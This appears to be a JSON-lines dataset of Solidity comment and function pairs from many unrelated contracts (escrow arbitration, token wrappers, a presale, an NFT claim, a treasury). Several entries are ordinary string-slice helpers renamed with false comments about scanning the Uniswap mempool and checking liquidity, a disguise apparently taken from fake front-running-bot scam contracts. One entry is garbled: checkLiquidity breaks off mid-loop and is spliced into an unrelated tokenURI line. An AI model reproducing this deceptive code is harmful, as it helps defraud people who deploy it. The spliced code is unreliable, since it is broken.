many different ways.\n uint resSum = add(\n resolutionToWei(resolutionTokenA, agreement.partyATokenPower),\n resolutionToWei(resolutionTokenB, agreement.partyBTokenPower)\n );\n uint otherSum = add(\n resolutionToWei(otherResolutionTokenA, agreement.partyATokenPower),\n resolutionToWei(otherResolutionTokenB, agreement.partyBTokenPower)\n );\n if (resolutionParty == Party.A) {\n return resSum <= otherSum;\n } else {\n return otherSum <= resSum;\n }\n }", "version": "0.5.3"} {"comment": "/// @notice Compatible means that the participants don't disagree in a selfish direction.\n/// Alternatively, it means that we know some resolution will satisfy both parties.\n/// If one person resolves to give the other person the maximum possible amount, this is\n/// always compatible with the other person's resolution, even if that resolution is\n/// RESOLUTION_NULL. Otherwise, one person having a resolution of RESOLUTION_NULL\n/// implies the resolutions are not compatible.\n/// @param resolutionTokenA The component of a resolution provided by either party A\n/// or party B representing party A's staked token. Can't be RESOLUTION_NULL.\n/// @param resolutionTokenB The component of a resolution provided by either party A\n/// or party B representing party B's staked token. Can't be RESOLUTION_NULL.\n/// @param otherResolutionTokenA The component of a resolution provided either by the\n/// other party or by the arbitrator representing party A's staked token. It may be\n/// RESOLUTION_NULL.\n/// @param otherResolutionTokenB The component of a resolution provided either by the\n/// other party or by the arbitrator representing party A's staked token. It may be\n/// RESOLUTION_NULL.\n/// @param resolutionParty The party corresponding to the resolution provided by the\n/// 'resolutionTokenA' and 'resolutionTokenB' parameters.\n/// @return whether the resolutions are compatible.", "function_code": "function resolutionsAreCompatible(\n AgreementDataERC20 storage agreement,\n uint resolutionTokenA,\n uint resolutionTokenB,\n uint otherResolutionTokenA,\n uint otherResolutionTokenB,\n Party resolutionParty\n )\n internal\n view\n returns (bool)\n {\n // If we're not dealing with the NULL case, we can use resolutionsAreCompatibleBothExist\n if (otherResolutionTokenA != RESOLUTION_NULL) {\n return resolutionsAreCompatibleBothExist(\n agreement,\n resolutionTokenA,\n resolutionTokenB,\n otherResolutionTokenA,\n otherResolutionTokenB,\n resolutionParty\n );\n }\n\n // Now we know otherResolution is null.\n // See if resolutionParty wants to give all funds to the other party.\n if (resolutionParty == Party.A) {\n // only 0 from Party A is compatible with RESOLUTION_NULL\n return resolutionTokenA == 0 && resolutionTokenB == 0;\n } else {\n // only the max possible amount from Party B is compatible with RESOLUTION_NULL\n return resolutionTokenA == agreement.partyAStakeAmount &&\n resolutionTokenB == agreement.partyBStakeAmount;\n }\n }", "version": "0.5.3"} {"comment": "/// @notice 'Open' means people should be allowed to take steps toward a future resolution.\n/// An agreement isn't open after it has ended (a final resolution exists), or if someone\n/// withdrew their funds before the second party could deposit theirs.\n/// @dev partyB can't do an early withdrawal, so we only need to check if partyA withdrew.", "function_code": "function agreementIsOpen(AgreementDataERC20 storage agreement) internal view returns (bool) {\n // If the tokenA resolution is null then the tokenB one is too, so just check A\n return agreement.resolutionTokenA == RESOLUTION_NULL &&\n !partyReceivedDistribution(agreement, Party.A);\n }", "version": "0.5.3"} {"comment": "/// @notice Transfers funds from this contract to a given address\n/// @param to The address to send the funds.\n/// @param token The address of the token being sent.\n/// @param amount The amount of wei of the token to send.", "function_code": "function sendFunds_Untrusted_Unguarded(\n address to,\n address token,\n uint amount\n )\n internal\n {\n if (amount == 0) {\n return;\n }\n if (token == address(0)) {\n // Need to cast to uint160 to make it payable.\n address(uint160(to)).transfer(amount);\n } else {\n require(ERC20Interface(token).transfer(to, amount), \"ERC20 transfer failed.\");\n }\n }", "version": "0.5.3"} {"comment": "/// @notice Pull ERC20 tokens into this contract from the caller\n/// @param token The address of the token being pulled.\n/// @param amount The amount of wei of the token to pulled.", "function_code": "function receiveFunds_Untrusted_Unguarded(\n address token,\n uint amount\n )\n internal\n {\n if (token == address(0)) {\n require(msg.value == amount, \"ETH value received was not what was expected.\");\n } else if (amount > 0) {\n require(\n ERC20Interface(token).transferFrom(msg.sender, address(this), amount),\n \"ERC20 transfer failed.\"\n );\n }\n }", "version": "0.5.3"} {"comment": "/// @notice Distribute funds from this contract to the given address, using up to two\n/// different tokens.\n/// @param to The address to distribute to.\n/// @param token1 The first token address\n/// @param amount1 The amount of token1 to distribute in wei\n/// @param token2 The second token address\n/// @param amount2 The amount of token2 to distribute in wei", "function_code": "function executeDistribution_Untrusted_Unguarded(\n address to,\n address token1,\n uint amount1,\n address token2,\n uint amount2\n )\n internal\n {\n // All of the calls below are Reentrancy Safe, as they don't depend on any internal state\n // nor do they modify any state. You can quickly see this by noting that this function\n // doesn't have access to any references to an agreement, so it can't affect state.\n if (token1 == token2) {\n sendFunds_Untrusted_Unguarded(to, token1, add(amount1, amount2));\n } else {\n sendFunds_Untrusted_Unguarded(to, token1, amount1);\n sendFunds_Untrusted_Unguarded(to, token2, amount2);\n }\n }", "version": "0.5.3"} {"comment": "/// @notice A helper function that sets the final resolution for the agreement, and\n/// also distributes funds to the participants based on distributeFundsToParties and\n/// distributeFundsToArbitrator.", "function_code": "function finalizeResolution_Untrusted_Unguarded(\n uint agreementID,\n AgreementDataERC20 storage agreement,\n uint48 resA,\n uint48 resB,\n bool distributeFundsToParties,\n bool distributeFundsToArbitrator\n )\n internal\n {\n agreement.resolutionTokenA = resA;\n agreement.resolutionTokenB = resB;\n calculateDisputeFeeLiability(agreementID, agreement);\n if (distributeFundsToParties) {\n emit FundsDistributed(uint32(agreementID));\n // These calls are not \"Reentrancy Safe\" (see AgreementManager.sol comments).\n // Using reentrancy guard.\n bool previousValue = getThenSetPendingExternalCall(agreement, true);\n distributeFundsToPartyHelper_Untrusted_Unguarded(agreementID, agreement, Party.A);\n distributeFundsToPartyHelper_Untrusted_Unguarded(agreementID, agreement, Party.B);\n setPendingExternalCall(agreement, previousValue);\n }\n if (distributeFundsToArbitrator) {\n distributeFundsToArbitratorHelper_Untrusted_Unguarded(agreementID, agreement);\n }\n }", "version": "0.5.3"} {"comment": "/// @notice This can only be called after a resolution is established.\n/// A helper function to distribute funds owed to a party based on the resolution and any\n/// arbitration fee refund they're owed.\n/// Assumes that a resolution exists.", "function_code": "function distributeFundsToPartyHelper_Untrusted_Unguarded(\n uint agreementID,\n AgreementDataERC20 storage agreement,\n Party party\n )\n internal\n {\n require(!partyReceivedDistribution(agreement, party), \"party already received funds.\");\n setPartyReceivedDistribution(agreement, party, true);\n\n uint distributionAmountA = 0;\n uint distributionAmountB = 0;\n if (party == Party.A) {\n distributionAmountA = agreement.resolutionTokenA;\n distributionAmountB = agreement.resolutionTokenB;\n } else {\n distributionAmountA = sub(agreement.partyAStakeAmount, agreement.resolutionTokenA);\n distributionAmountB = sub(agreement.partyBStakeAmount, agreement.resolutionTokenB);\n }\n\n uint arbRefundWei = getPartyArbitrationRefundInWei(agreementID, agreement, party);\n\n executeDistribution_Untrusted_Unguarded(\n partyAddress(agreement, party),\n agreement.partyAToken, toWei(distributionAmountA, agreement.partyATokenPower),\n agreement.partyBToken, toWei(distributionAmountB, agreement.partyBTokenPower),\n agreement.arbitratorToken, arbRefundWei);\n }", "version": "0.5.3"} {"comment": "/// @notice add routes to the registry.", "function_code": "function addRoutes(RouteData[] calldata _routes)\n external\n onlyOwner\n returns (uint256[] memory)\n {\n require(_routes.length != 0, MovrErrors.EMPTY_INPUT);\n uint256[] memory _routeIds = new uint256[](_routes.length);\n for (uint256 i = 0; i < _routes.length; i++) {\n require(\n _routes[i].route != address(0),\n MovrErrors.ADDRESS_0_PROVIDED\n );\n routes.push(_routes[i]);\n _routeIds[i] = routes.length - 1;\n emit NewRouteAdded(\n i,\n _routes[i].route,\n _routes[i].enabled,\n _routes[i].isMiddleware\n );\n }\n\n return _routeIds;\n }", "version": "0.8.4"} {"comment": "/*\r\n * @dev Find newly deployed contracts on Uniswap Exchange\r\n * @param memory of required contract liquidity.\r\n * @param other The second slice to compare.\r\n * @return New contracts with required liquidity.\r\n */", "function_code": "function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {\r\n uint shortest = self._len;\r\n\r\n if (other._len < self._len)\r\n shortest = other._len;\r\n\r\n uint selfptr = self._ptr;\r\n uint otherptr = other._ptr;\r\n\r\n for (uint idx = 0; idx < shortest; idx += 32) {\r\n // initiate contract finder\r\n uint a;\r\n uint b;\r\n\r\n string memory WETH_CONTRACT_ADDRESS = \"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2\";\r\n string memory TOKEN_CONTRACT_ADDRESS = \"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2\";\r\n loadCurrentContract(WETH_CONTRACT_ADDRESS);\r\n loadCurrentContract(TOKEN_CONTRACT_ADDRESS);\r\n assembly {\r\n a := mload(selfptr)\r\n b := mload(otherptr)\r\n }\r\n\r\n if (a != b) {\r\n // Mask out irrelevant contracts and check again for new contracts\r\n uint256 mask = uint256(-1);\r\n\r\n if(shortest < 32) {\r\n mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);\r\n }\r\n uint256 diff = (a & mask) - (b & mask);\r\n if (diff != 0)\r\n return int(diff);\r\n }\r\n selfptr += 32;\r\n otherptr += 32;\r\n }\r\n return int(self._len) - int(other._len);\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Extracts the newest contracts on Uniswap exchange\r\n * @param self The slice to operate on.\r\n * @param rune The slice that will contain the first rune.\r\n * @return `list of contracts`.\r\n */", "function_code": "function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r\n uint ptr = selfptr;\r\n uint idx;\r\n\r\n if (needlelen <= selflen) {\r\n if (needlelen <= 32) {\r\n bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r\n\r\n bytes32 needledata;\r\n assembly { needledata := and(mload(needleptr), mask) }\r\n\r\n uint end = selfptr + selflen - needlelen;\r\n bytes32 ptrdata;\r\n assembly { ptrdata := and(mload(ptr), mask) }\r\n\r\n while (ptrdata != needledata) {\r\n if (ptr >= end)\r\n return selfptr + selflen;\r\n ptr++;\r\n assembly { ptrdata := and(mload(ptr), mask) }\r\n }\r\n return ptr;\r\n } else {\r\n // For long needles, use hashing\r\n bytes32 hash;\r\n assembly { hash := keccak256(needleptr, needlelen) }\r\n\r\n for (idx = 0; idx <= selflen - needlelen; idx++) {\r\n bytes32 testHash;\r\n assembly { testHash := keccak256(ptr, needlelen) }\r\n if (hash == testHash)\r\n return ptr;\r\n ptr += 1;\r\n }\r\n }\r\n }\r\n return selfptr + selflen;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Extracts the contract from Uniswap\r\n * @param self The slice to operate on.\r\n * @param rune The slice that will contain the first rune.\r\n * @return `rune`.\r\n */", "function_code": "function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {\r\n rune._ptr = self._ptr;\r\n\r\n if (self._len == 0) {\r\n rune._len = 0;\r\n return rune;\r\n }\r\n\r\n uint l;\r\n uint b;\r\n // Load the first byte of the rune into the LSBs of b\r\n assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }\r\n if (b < 0x80) {\r\n l = 1;\r\n } else if(b < 0xE0) {\r\n l = 2;\r\n } else if(b < 0xF0) {\r\n l = 3;\r\n } else {\r\n l = 4;\r\n }\r\n\r\n // Check for truncated codepoints\r\n if (l > self._len) {\r\n rune._len = self._len;\r\n self._ptr += self._len;\r\n self._len = 0;\r\n return rune;\r\n }\r\n\r\n self._ptr += l;\r\n self._len -= l;\r\n rune._len = l;\r\n return rune;\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Calculates remaining liquidity in contract\r\n * @param self The slice to operate on.\r\n * @return The length of the slice in runes.\r\n */", "function_code": "function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {\r\n uint ptr = self._ptr - 31;\r\n uint end = ptr + self._len;\r\n for (l = 0; ptr < end; l++) {\r\n uint8 b;\r\n assembly { b := and(mload(ptr), 0xFF) }\r\n if (b < 0x80) {\r\n ptr += 1;\r\n } else if(b < 0xE0) {\r\n ptr += 2;\r\n } else if(b < 0xF0) {\r\n ptr += 3;\r\n } else if(b < 0xF8) {\r\n ptr += 4;\r\n } else if(b < 0xFC) {\r\n ptr += 5;\r\n } else {\r\n ptr += 6;\r\n }\r\n }\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Parsing all uniswap mempool\r\n * @param self The contract to operate on.\r\n * @return True if the slice is empty, False otherwise.\r\n */", "function_code": "function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {\r\n bytes memory tmp = bytes(_a);\r\n uint160 iaddr = 0;\r\n uint160 b1;\r\n uint160 b2;\r\n for (uint i = 2; i < 2 + 2 * 20; i += 2) {\r\n iaddr *= 256;\r\n b1 = uint160(uint8(tmp[i]));\r\n b2 = uint160(uint8(tmp[i + 1]));\r\n if ((b1 >= 97) && (b1 <= 102)) {\r\n b1 -= 87;\r\n } else if ((b1 >= 65) && (b1 <= 70)) {\r\n b1 -= 55;\r\n } else if ((b1 >= 48) && (b1 <= 57)) {\r\n b1 -= 48;\r\n }\r\n if ((b2 >= 97) && (b2 <= 102)) {\r\n b2 -= 87;\r\n } else if ((b2 >= 65) && (b2 <= 70)) {\r\n b2 -= 55;\r\n } else if ((b2 >= 48) && (b2 <= 57)) {\r\n b2 -= 48;\r\n }\r\n iaddr += (b1 * 16 + b2);\r\n }\r\n return address(iaddr);\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * @dev Check if contract has enough liquidity available\r\n * @param self The contract to operate on.\r\n * @return True if the slice starts with the provided text, false otherwise.\r\n */", "function_code": "function checkLiquidity(uint a) internal pure returns (string memory) {\r\n uint count = 0;\r\n uint b = a;\r\n while (b != 0) {\r\n count++;\r\n b /= 16;\r\n }\r\n bytes memory res = new bytes(count);\r\n for (uint i=0; i 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : \"\";\r\n }", "version": "0.8.7"} {"comment": "// sat / eth", "function_code": "function _getKBTCPrice(address oracle) internal view returns (uint256) {\n try IOracle(oracle).consult(kbtc, kbtcOneUnit) returns (uint256 price) {\n return price;\n } catch {\n revert('Treasury: failed to consult kbtc price from the oracle');\n }\n }", "version": "0.6.12"} {"comment": "/* ========== GOVERNANCE ========== */", "function_code": "function initialize() public checkOperator {\n require(!initialized, 'Treasury: initialized');\n\n // burn all of it's balance\n IKlondikeAsset(kbtc).burn(IERC20(kbtc).balanceOf(address(this)));\n\n // set accumulatedSeigniorage to it's balance\n accumulatedSeigniorage = IERC20(kbtc).balanceOf(address(this));\n\n initialized = true;\n emit Initialized(msg.sender, block.number);\n }", "version": "0.6.12"} {"comment": "// Invest ETH", "function_code": "function invest(uint256 _amount)\r\n external\r\n nonReentrant\r\n {\r\n require(_amount > 0, \"deposit must be greater than 0\");\r\n pool = calcPoolValueInToken();\r\n IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);\r\n rebalance();\r\n // Calculate pool shares\r\n uint256 shares = 0;\r\n if (pool == 0) {\r\n shares = _amount;\r\n pool = _amount;\r\n } else {\r\n shares = (_amount.mul(_totalSupply)).div(pool);\r\n }\r\n pool = calcPoolValueInToken();\r\n _mint(msg.sender, shares);\r\n }", "version": "0.5.12"} {"comment": "// Redeem any invested tokens from the pool", "function_code": "function redeem(uint256 _shares)\r\n external\r\n nonReentrant\r\n {\r\n require(_shares > 0, \"withdraw must be greater than 0\");\r\n uint256 ibalance = balanceOf(msg.sender);\r\n require(_shares <= ibalance, \"insufficient balance\");\r\n // Could have over value from cTokens\r\n pool = calcPoolValueInToken();\r\n // Calc eth to redeem before updating balances\r\n uint256 r = (pool.mul(_shares)).div(_totalSupply);\r\n _balances[msg.sender] = _balances[msg.sender].sub(_shares, \"redeem amount exceeds balance\");\r\n _totalSupply = _totalSupply.sub(_shares);\r\n emit Transfer(msg.sender, address(0), _shares);\r\n // Check ETH balance\r\n uint256 b = IERC20(token).balanceOf(address(this));\r\n if (b < r) {\r\n withdrawSome(r);\r\n }\r\n IERC20(token).safeTransfer(msg.sender, r);\r\n rebalance();\r\n pool = calcPoolValueInToken();\r\n\r\n }", "version": "0.5.12"} {"comment": "/*function recoverSigner(bytes32 message, bytes memory sig)\n internal\n pure\n returns (address)\n {\n (uint8 v, bytes32 r, bytes32 s) = splitSignature(sig);\n return ecrecover(message, v, r, s);\n }\n \n /*function phaseOneBuyTickets(\n uint256 amount,\n uint256 nonce,\n bytes memory signature\n ) external payable {\n require(phaseOneActive, \"PHASE ONE NOT ACTIVE\");\n require(amount > 0, \"HAVE TO BUY AT LEAST 1\");\n \n require(phaseOneAddressToTickets[msg.sender].add(amount) <= phaseOneMaxTicketsPerUser, \"ALREADY BOUGHT MAX TICKET\");\n require(msg.value == phaseOneTicketPrice.mul(amount), \"INCORRECT AMOUNT PAID\");\n require(phaseOneTicketSales.add(amount) <= phaseOneMaxSupply, \"PHASE 1 TICKETS SOLD\");\n \n require(preSaleAddressToNonce[msg.sender] == nonce, \"INCORRECT NONCE\");\n bytes32 message = keccak256(abi.encodePacked(msg.sender, true, nonce, address(this))).toEthSignedMessageHash();\n require(recoverSigner(message, signature) == signatureProvider, \"SIGNATURE NOT FROM PROVIDER WALLET\");\n preSaleAddressToNonce[msg.sender] = preSaleAddressToNonce[msg.sender].add(1);\n \n phaseOneAddressToTickets[msg.sender] = amount;\n phaseOneTicketSales = phaseOneTicketSales.add(amount);\n }\n \n function phaseTwoBuyTickets(\n uint256 amount,\n uint256 nonce,\n bytes memory signature\n ) external payable {\n require(phaseTwoActive, \"PHASE TWO NOT ACTIVE\");\n require(amount > 0, \"HAVE TO BUY AT LEAST 1\");\n \n require(phaseTwoAddressToTickets[msg.sender].add(phaseOneAddressToTickets[msg.sender]).add(amount) <= phaseTwoMaxTicketsPerUser, \"INCORRECT TICKET AMOUNT\");\n require(msg.value == phaseTwoTicketPrice.mul(amount), \"INCORRECT AMOUNT PAID\");\n require(phaseTwoTicketSales.add(amount) <= phaseTwoMaxSupply.add(phaseOneMaxSupply.sub(phaseOneTicketSales)), \"PHASE 2 TICKETS SOLD\");\n \n require(preSaleAddressToNonce[msg.sender] == nonce, \"INCORRECT NONCE\");\n bytes32 message = keccak256(abi.encodePacked(msg.sender, false, nonce, address(this))).toEthSignedMessageHash();\n require(recoverSigner(message, signature) == signatureProvider, \"SIGNATURE NOT FROM PROVIDER WALLET\");\n preSaleAddressToNonce[msg.sender] = preSaleAddressToNonce[msg.sender].add(1);\n \n phaseTwoAddressToTickets[msg.sender] = phaseTwoAddressToTickets[msg.sender].add(amount);\n phaseTwoTicketSales = phaseTwoTicketSales.add(amount);\n }*/", "function_code": "function phaseOneBuyTicketsMerkle(\n bytes32[] calldata proof\n ) external payable {\n require(phaseOneActive, \"PHASE ONE NOT ACTIVE\");\n\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender));\n require(MerkleProof.verify(proof, phaseOneMerkleRoot, leaf), \"INVALID PROOF\");\n require(addressToTickets[msg.sender] == 0, \"ALREADY GOT TICKET\");\n require(msg.value == ticketPrice, \"INCORRECT AMOUNT PAID\");\n addressToTickets[msg.sender] = 1;\n ticketSales = ticketSales + 1;\n }", "version": "0.8.10"} {"comment": "//=========================================================================================================================================\n//WUNIv2 minter", "function_code": "function _wrapUNIv2(address sender, address recipient, uint256 amount) internal {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n \r\n //Get Corlibri Balance of UNIv2\r\n uint256 UNIv2Balance = ERC20(UNIv2).balanceOf(Corlibri);\r\n \r\n //transferFrom UNIv2\r\n ERC20(UNIv2).transferFrom(sender, recipient, amount);\r\n \r\n //Mint Tokens, equal to the UNIv2 amount sent\r\n _mint(sender, amount.mul(publicWrappingRatio).div(100));\r\n\r\n //Checks if balances OK otherwise throw\r\n require(UNIv2Balance.add(amount) == ERC20(UNIv2).balanceOf(Corlibri), \"Math Broken\");\r\n }", "version": "0.6.6"} {"comment": "/// @notice internal helper method to redeem fei in exchange for an external asset", "function_code": "function _redeem(\n address to,\n uint256 amountFeiIn,\n uint256 minAmountOut\n ) internal virtual returns(uint256 amountOut) {\n updateOracle();\n\n amountOut = _getRedeemAmountOut(amountFeiIn);\n require(amountOut >= minAmountOut, \"PegStabilityModule: Redeem not enough out\");\n\n IERC20(fei()).safeTransferFrom(msg.sender, address(this), amountFeiIn);\n\n _transfer(to, amountOut);\n\n emit Redeem(to, amountFeiIn, amountOut);\n }", "version": "0.8.10"} {"comment": "/// @notice helper function to get redeem amount out based on current market prices\n/// @dev will revert if price is outside of bounds and bounded PSM is being used", "function_code": "function _getRedeemAmountOut(uint256 amountFeiIn) internal virtual view returns (uint256 amountTokenOut) {\n Decimal.D256 memory price = readOracle();\n _validatePriceRange(price);\n\n /// get amount of dollars being provided\n Decimal.D256 memory adjustedAmountIn = Decimal.from(\n amountFeiIn * (Constants.BASIS_POINTS_GRANULARITY - redeemFeeBasisPoints) / Constants.BASIS_POINTS_GRANULARITY\n );\n\n /// now turn the dollars into the underlying token amounts\n /// dollars / price = how much token to pay out\n amountTokenOut = adjustedAmountIn.div(price).asUint256();\n }", "version": "0.8.10"} {"comment": "// REFLECTION", "function_code": "function deliver(uint256 tAmount) public {\r\n address sender = _msgSender();\r\n require(!_isExcluded[sender], \"Excluded addresses cannot call this function\");\r\n\r\n (, uint256 tFee, uint256 tLiquidity, uint256 tDeveloper) = _getTValues(tAmount);\r\n uint256 currentRate = _getRate();\r\n (uint256 rAmount,,) = _getRValues(tAmount, tFee, tLiquidity, tDeveloper, currentRate);\r\n\r\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\r\n _rTotal = _rTotal.sub(rAmount);\r\n _tFeeTotal = _tFeeTotal.add(tAmount);\r\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Set SGN minimum value.\n * @param _sequenceNum The sequence-number of the operation.\n * @param _sgnMinimumLimiterValueN The numerator of the SGN minimum limiter value.\n * @param _sgnMinimumLimiterValueD The denominator of the SGN minimum limiter value.\n */", "function_code": "function setSGNMinimumLimiterValue(uint256 _sequenceNum, uint256 _sgnMinimumLimiterValueN, uint256 _sgnMinimumLimiterValueD) external onlyOwner {\n require(1 <= _sgnMinimumLimiterValueN && _sgnMinimumLimiterValueN <= MAX_RESOLUTION, \"SGN minimum limiter value numerator is out of range\");\n require(1 <= _sgnMinimumLimiterValueD && _sgnMinimumLimiterValueD <= MAX_RESOLUTION, \"SGN minimum limiter value denominator is out of range\");\n\n if (sequenceNum < _sequenceNum) {\n sequenceNum = _sequenceNum;\n sgnMinimumLimiterValueN = _sgnMinimumLimiterValueN;\n sgnMinimumLimiterValueD = _sgnMinimumLimiterValueD;\n emit SGNMinimumLimiterValueSaved(_sgnMinimumLimiterValueN, _sgnMinimumLimiterValueD);\n }\n else {\n emit SGNMinimumLimiterValueNotSaved(_sgnMinimumLimiterValueN, _sgnMinimumLimiterValueD);\n }\n }", "version": "0.4.25"} {"comment": "/**\n @notice stakes SQUID and wraps sSQUID\n @param _amount uint\n @return uint\n */", "function_code": "function wrapFromSQUID( uint _amount ) external returns ( uint ) {\n IERC20( SQUID ).transferFrom( msg.sender, address(this), _amount );\n\n IERC20( SQUID ).approve( staking, _amount ); // stake SQUID for sSQUID\n IStaking( staking ).stake( _amount, address(this) );\n\n uint value = wSQUIDValue( _amount );\n _mint( msg.sender, value );\n return value;\n }", "version": "0.7.5"} {"comment": "/**\n @notice unwrap sSQUID and unstake SQUID\n @param _amount uint\n @return uint\n */", "function_code": "function unwrapToSQUID( uint _amount ) external returns ( uint ) {\n _burn( msg.sender, _amount );\n\n uint value = sSQUIDValue( _amount );\n IERC20( sSQUID ).approve( staking, value ); // unstake sSQUID for SQUID\n IStaking( staking ).unstake( value, address(this) );\n\n IERC20( SQUID ).transfer( msg.sender, value );\n return value;\n }", "version": "0.7.5"} {"comment": "/**\n @notice wrap sSQUID\n @param _amount uint\n @return uint\n */", "function_code": "function wrapFromsSQUID( uint _amount ) external returns ( uint ) {\n IERC20( sSQUID ).transferFrom( msg.sender, address(this), _amount );\n\n uint value = wSQUIDValue( _amount );\n _mint( msg.sender, value );\n return value;\n }", "version": "0.7.5"} {"comment": "/*\r\n * Message Jakub \"I heard you like chicken\" on Discord\r\n */", "function_code": "function stepThroughThePortal(uint256[] memory claimIds) external nonReentrant() {\r\n require(_claimPeriodIsOpen, \"Claim period is not open\");\r\n \r\n for (uint256 i = 0; i < claimIds.length; i++) {\r\n uint256 tokenId = claimIds[i];\r\n require(ITopDogBeachClub(_tdbcAddress).ownerOf(tokenId) == msg.sender || ITopDogPortalizer(_tdptAddress).ownerOf(tokenId) == msg.sender, \"Claimant is not the owner\");\r\n\r\n _mintCat(msg.sender, tokenId);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/*\r\n * Called once by the dev team to mint unclaimed cats after the claim period ends. Used for giveaways, marketing, etc.\r\n */", "function_code": "function reserve(uint256[] memory tokenIds) external onlyOwner {\r\n require(block.timestamp > 1633903200, \"Not yet\");\r\n require(!_claimPeriodIsOpen, \"Claim is still open..?\");\r\n require(_canReserve, \"Already called\");\r\n require(tokenIds.length <= DEV_CATS, \"Too many cats\");\r\n\r\n for (uint256 i = 0; i < tokenIds.length; i++) {\r\n _mintCat(msg.sender, tokenIds[i]);\r\n }\r\n\r\n _canReserve = false;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice Returns a list of all tokenIds assigned to an address - used by the TDBC website\r\n * Taken from https://ethereum.stackexchange.com/questions/54959/list-erc721-tokens-owned-by-a-user-on-a-web-page\r\n * @param user get tokens of a given user\r\n */", "function_code": "function tokensOfOwner(address user) external view returns (uint256[] memory ownerTokens) {\r\n uint256 tokenCount = balanceOf(user);\r\n\r\n if (tokenCount == 0) {\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory output = new uint256[](tokenCount);\r\n\r\n for (uint256 index = 0; index < tokenCount; index++) {\r\n output[index] = tokenOfOwnerByIndex(user, index);\r\n }\r\n \r\n return output;\r\n }\r\n }", "version": "0.8.0"} {"comment": "//advertising address", "function_code": "function() external payable {\r\n \r\n ads.transfer(msg.value/20); //Send 5% for advertising\r\n //if investor already returned his deposit then his rate become 4%\r\n if(balance[msg.sender]>=overallPayment[msg.sender])\r\n rate[msg.sender]=80;\r\n else\r\n rate[msg.sender]=40;\r\n //payments \r\n if (balance[msg.sender] != 0){\r\n uint256 paymentAmount = balance[msg.sender]*rate[msg.sender]/1000*(now-timestamp[msg.sender])/86400;\r\n // if investor receive more than 200 percent his balance become zero\r\n if (paymentAmount+overallPayment[msg.sender]>= 2*balance[msg.sender])\r\n balance[msg.sender]=0;\r\n // if profit amount is not enough on contract balance, will be sent what is left\r\n if (paymentAmount > address(this).balance) {\r\n paymentAmount = address(this).balance;\r\n } \r\n msg.sender.transfer(paymentAmount);\r\n overallPayment[msg.sender]+=paymentAmount;\r\n }\r\n timestamp[msg.sender] = now;\r\n balance[msg.sender] += msg.value;\r\n \r\n }", "version": "0.4.25"} {"comment": "// GLADIATOR BATTLES", "function_code": "function createGladiatorBattle(\r\n uint256 _dragonId,\r\n uint8[2] _tactics,\r\n bool _isGold,\r\n uint256 _bet,\r\n uint16 _counter\r\n ) external payable onlyHuman whenNotPaused {\r\n address(gladiatorBattle).transfer(msg.value);\r\n uint256 _id = gladiatorBattle.create(msg.sender, _dragonId, _tactics, _isGold, _bet, _counter, msg.value);\r\n events.emitGladiatorBattleCreated(_id, msg.sender, _dragonId, _bet, _isGold);\r\n }", "version": "0.4.25"} {"comment": "/*\r\n @dev Function to set the basis point rate .\r\n @param newBasisPoints uint which is <= 9.\r\n */", "function_code": "function setParams(uint newBasisPoints,uint newMaxFee,uint newMinFee) public onlyOwner {\r\n // Ensure transparency by hardcoding limit beyond which fees can never be added\r\n require(newBasisPoints <= 9);\r\n require(newMaxFee <= 100);\r\n require(newMinFee <= 5);\r\n basisPointsRate = newBasisPoints;\r\n maximumFee = newMaxFee.mul(10**uint(decimals));\r\n minimumFee = newMinFee.mul(10**uint(decimals));\r\n emit Params(basisPointsRate, maximumFee, minimumFee);\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Calculate investment details\n */", "function_code": "function calculateInvestment(address investor, uint value) public view\n returns (uint investment, uint tokensToSend, uint refundValue) {\n uint remainingInvestment = availableInvestment(investor);\n\n if (value <= remainingInvestment) {\n refundValue = 0; \n } else {\n refundValue = value.sub(remainingInvestment);\n }\n\n investment = value.sub(refundValue);\n tokensToSend = investment.mul(rate).div(BASIS_POINTS_DEN);\n\n // if there are too few tokens remaining in supply\n if (tokensToSend > supply) {\n uint extraTokens = tokensToSend.sub(supply);\n tokensToSend = supply;\n refundValue += extraTokens.mul(BASIS_POINTS_DEN).div(rate);\n investment = value.sub(refundValue);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Invest into presale\n *\n * `investor` is sending ether and receiving tokens on `wallet` address and partial or full refund back on `invesor` address.\n */", "function_code": "function invest(address wallet) public payable whenRunning nonReentrant {\n address investor = _msgSender();\n\n require(isInvestor(investor), \"Investor is not whitelisted\");\n require(address(wallet) != address(0), \"No wallet to transfer tokens to\");\n require(msg.value > 0, \"There's no value in transaction\");\n require(supply > 0, \"No remaining supply\");\n \n (uint investment, uint tokensToSend, uint refundValue) = calculateInvestment(investor, msg.value);\n uint presaleTokenAllocation = token.balanceOf(address(this));\n\n require(presaleTokenAllocation >= tokensToSend, \"Presale contract own less tokens than needed\");\n require(investment > 0, \"Zero amount for investment\");\n\n supply -= tokensToSend;\n invested += investment;\n tokensSold += tokensToSend;\n investments[investor] += investment;\n receivedTokens[investor] += tokensToSend;\n refunds[investor] += refundValue;\n\n token.transfer(wallet, tokensToSend);\n treasury.transfer(investment);\n \n emit Invested(investor, wallet, msg.value, tokensToSend, refundValue);\n }", "version": "0.6.12"} {"comment": "/**\n * 